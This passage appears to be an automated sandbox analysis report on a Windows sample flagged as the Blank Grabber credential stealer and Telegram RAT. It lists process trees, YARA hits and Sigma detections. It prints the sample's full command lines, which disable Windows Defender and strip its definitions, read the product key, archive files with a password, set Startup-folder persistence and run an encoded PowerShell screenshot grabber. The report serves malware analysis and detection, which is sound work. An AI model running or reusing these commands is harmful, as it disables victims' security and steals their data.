conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4296 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6556 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4180 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6520 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6392 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3780 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7824 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.2395753264.000001F12B202000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.2396649299.000001F12B202000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.2028897385.000001A5F3614000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.2395270624.000001F12B657000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.2028897385.000001A5F3616000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: 9g9LZNE4bH.exe PID: 6176	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: 9g9LZNE4bH.exe PID: 5860	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: 9g9LZNE4bH.exe PID: 5860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9g9LZNE4bH.exe PID: 5860	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\9g9LZNE4bH.exe", ParentImage: C:\Users\user\Desktop\9g9LZNE4bH.exe, ParentProcessId: 5860, ParentProcessName: 9g9LZNE4bH.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'", ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\9g9LZNE4bH.exe", ParentImage: C:\Users\user\Desktop\9g9LZNE4bH.exe, ParentProcessId: 5860, ParentProcessName: 9g9LZNE4bH.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\9g9LZNE4bH.exe", ParentImage: C:\Users\user\Desktop\9g9LZNE4bH.exe, ParentProcessId: 5860, ParentProcessName: 9g9LZNE4bH.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *", ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\9g9LZNE4bH.exe, ProcessId: 5860, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgA